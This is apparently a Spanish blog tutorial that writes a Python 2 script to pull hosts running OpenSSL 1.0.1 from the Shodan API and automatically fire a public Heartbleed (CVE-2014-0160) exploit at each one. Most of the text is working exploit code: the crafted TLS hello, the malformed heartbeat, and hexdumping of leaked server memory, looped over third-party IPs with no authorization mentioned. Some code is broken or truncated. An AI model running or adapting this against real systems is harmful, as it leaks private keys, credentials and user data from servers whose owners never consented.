"Si lo tienes que hacer de la misma forma más de tres veces.... tienes que empezar a plantearte hacer un programa."
Con esa entrada ya lo he dicho todo.
Vamos a crear un programa que haga dos cosas: una búsqueda automática de un sistema con una vulnerabilidad específica y luego vamos a aplicarle un exploit que ya exista.
No vamos a crear el exploit, ni siquiera deberíamos entender que hace el exploit ya que normalmente suelen requerir bastantes conocimientos. Aunque debemos ser lo suficientemente buenos programadores para ser capaz de meter mano al exploit y remodelarlo a nuestro gusto.
Al igual que si lo hiciéramos de forma artesanal, lo primero que debemos hacer es buscar la vulnerabilidad. Hay muchas maneras, en este programa vamos a usar, y de paso la doy a conocer, el API de programación de Shodan.
Una vez localizado los posibles objetivos lanzamos sobre ellos el exploit y esperamos los resultados. Vamos a elegir algo sencillo y muy de moda: la vulnerabilidad
CVE-2014-0160
de HeartBleed. Antes de entrar en materia conviene entender que es esa vulnerabilidad.https://xkcd.com/1354/ (Con viñetas)
http://www.engadget.com/2014/04/12/heartbleed-explained/ (Sin tecnicismo)
O si queremos algo más técnico (sólo para incodicionales del lenguaje ensamblador): http://www.engadget.com/2014/04/12/heartbleed-explained/
Localizando objetivos.
Usaremos la API de Shodan previamente para poder usarla hemos de obtener la clave API de esta web https://developer.shodan.io/.
Para usar Shodan en su funcionalidad completa deberemos comprar algún tipo de licencia, pero para poder realizar la práctica podemos obtener la clave gratuita. Esta clave nos limita la capacidad de filtrado y nos da únicamente una pequeña parte de los resultados obtenidos.
Para programar usaremos Python que gracias a la gran cantidad de módulos disponible nos vale para todo. Nos descargamos e instalamos la librería nmap y ya vamos al lío.
import shodan shodanKey = 'Shodan API Key' shodan1 = shodan.Shodan(shodanKey) if __name__ == '__main__': k = 0 try: shodan1 = shodan1.search('OpenSSL/1.0.1') print 'Total servidores encontrados: %s' % str(shodan1.count) for result in shodan1['matches']: print 'IP: %s' % result['ip_str'] print result['data'] except shodan.APIError, e: print 'Error %s' % e |
Ejecutamos y así de fácil obtenemos un resultado parecido a este.
Notaréis que se imprimen muchos menos sistemas que los que dice haber encontrado. Eso es debido al tipo de API que usamos tal y como dije arriba.
Seleccionando el exploit.
Ahora sólo tenemos que buscar un exploit que aprovecha esta vulnerabilidad. Hay multitud de ellos y vamos a localizar uno que tenga poca complicación. Por ejemplo este
https://www.exploit-db.com/exploits/32745/
Este exploit es bastante simple y no tiene en cuenta bastantes situaciones que se pueden dar, así que nos veremos obligados a realizar dos tareas:
Convertirlo en función dentro del esquema anterior.
Contemplar algunas situaciones para evitar que se pare en medio de una ejecución.
Integrando el exploit en el script
Se pueden encontrar exploits mas completos, algunos dan una explicación del valor de cada octeto del helloServer, que en este exploit viene totalmente descarnado.
import nmap hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') |
Añadimos los módulos necesarios y las funciones.
import shodan import sys import struct import socket import time import select import re def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: try: data = s.recv(remain) except: print 'Error receiving' return None # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: status = 'Unexpected EOF receiving record header - server closed connection' print status return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: status = 'Unexpected EOF receiving record payload - server closed connection' print status return None, None, None status = ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: #print 'No heartbeat response received, server likely not vulnerable' status = 'No heartbeat response received, server likely not vulnerable' print status return False if typ == 24: #print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: #print 'WARNING: server returned more data than it should - server is vulnerable!' status = 'WARNING: server returned more data than it should - server is vulnerable!' print status else: #print 'Server processed malformed heartbeat, but did not return any extra data.' status= 'Server processed malformed heartbeat, but did not return any extra data.' print status return True if typ == 21: #print 'Received alert:' hexdump(pay) #print 'Server returned error, likely not vulnerable' status = 'Server returned error, likely not vulnerable' print status return False shodanKey = 'Shodan API Key' shodan1 = shodan.Shodan(shodanKey) if __name__ == '__main__': k = 0 try: shodan1 = shodan1.search('OpenSSL/1.0.1') print 'Total servidores encontrados: %s' % str(shodan1.count) for result in shodan1['matches']: print 'IP: %s' % result['ip_str'] print result['data'] except shodan.APIError, e: print 'Error %s' % e |
Cambiamos de nombre la función main del exploit y la llamamos sslpentest y que admite dos parámetros la dejamos entonces así:
def sslpentest(ip_addr, puerto): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((ip_addr, puerto)) except: print 'Timeout connecting' return print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: status = 'Server closed connection without sending Server Hello.' print status return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break #print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s |
Y añadimos la llamada a la nueva función en el main
shodanKey = 'Shodan API Key' shodan1 = shodan.Shodan(shodanKey) if __name__ == '__main__': k = 0 try: shodan1 = shodan1.search('OpenSSL/1.0.1') print 'Total servidores encontrados: %s' % str(shodan1.count) for result in shodan1['matches']: print 'IP: %s' % result['ip_str'] print result['data'] sslpentest(result['ip_str'], '443') except shodan.APIError, e: print 'Error %s' % e |
Con lo que hemos hecho, el script funcionaría pero al no controlar los errores se nos puede parar. Como el programa está pensando para testear un solo equipo el programador no ha tenido en cuenta esa precaución. Pero como nuestra intención es dejar el programa realizando el test sobre un número indeterminado debemos tomar la precaución de controlar los errores que podemos esperar. En rojo en los textos anteriores se puede ver que he colocado dos sentencias try.....catch.
La primera en el momento de la conexión y la otra en la lectura.
Ejecutando el script.
Solo tenemos que ejecutar el script. Si tuviéramos una clave "pro" de shodan el script se tomaría su tiempo, pero al tener la gratuita, son pocos los equipos sobre los que podemos realizar la prueba.
Ejecutamos, esperamos veremos que lo normal es ir sacando esto:
Y si tenemos la suerte de que uno de esos equipos sea vulnerable tendremos una salida como esta:
Empieza así
Y tras varios pantallazos acabaría así:
Pendiente
El script todavía necesita algunas cosas para ser completo.Sólo trabaja con el puerto 443 y debería trabajar con todos los puertos abiertos. Para ello habría que integrar tambien el módulo de nmap para un por cada equipo localizado detectara todos los puertos abiertos y lanzara el helloserver a cada uno de ellos.
Un buen ejercicio para quien siga este blog.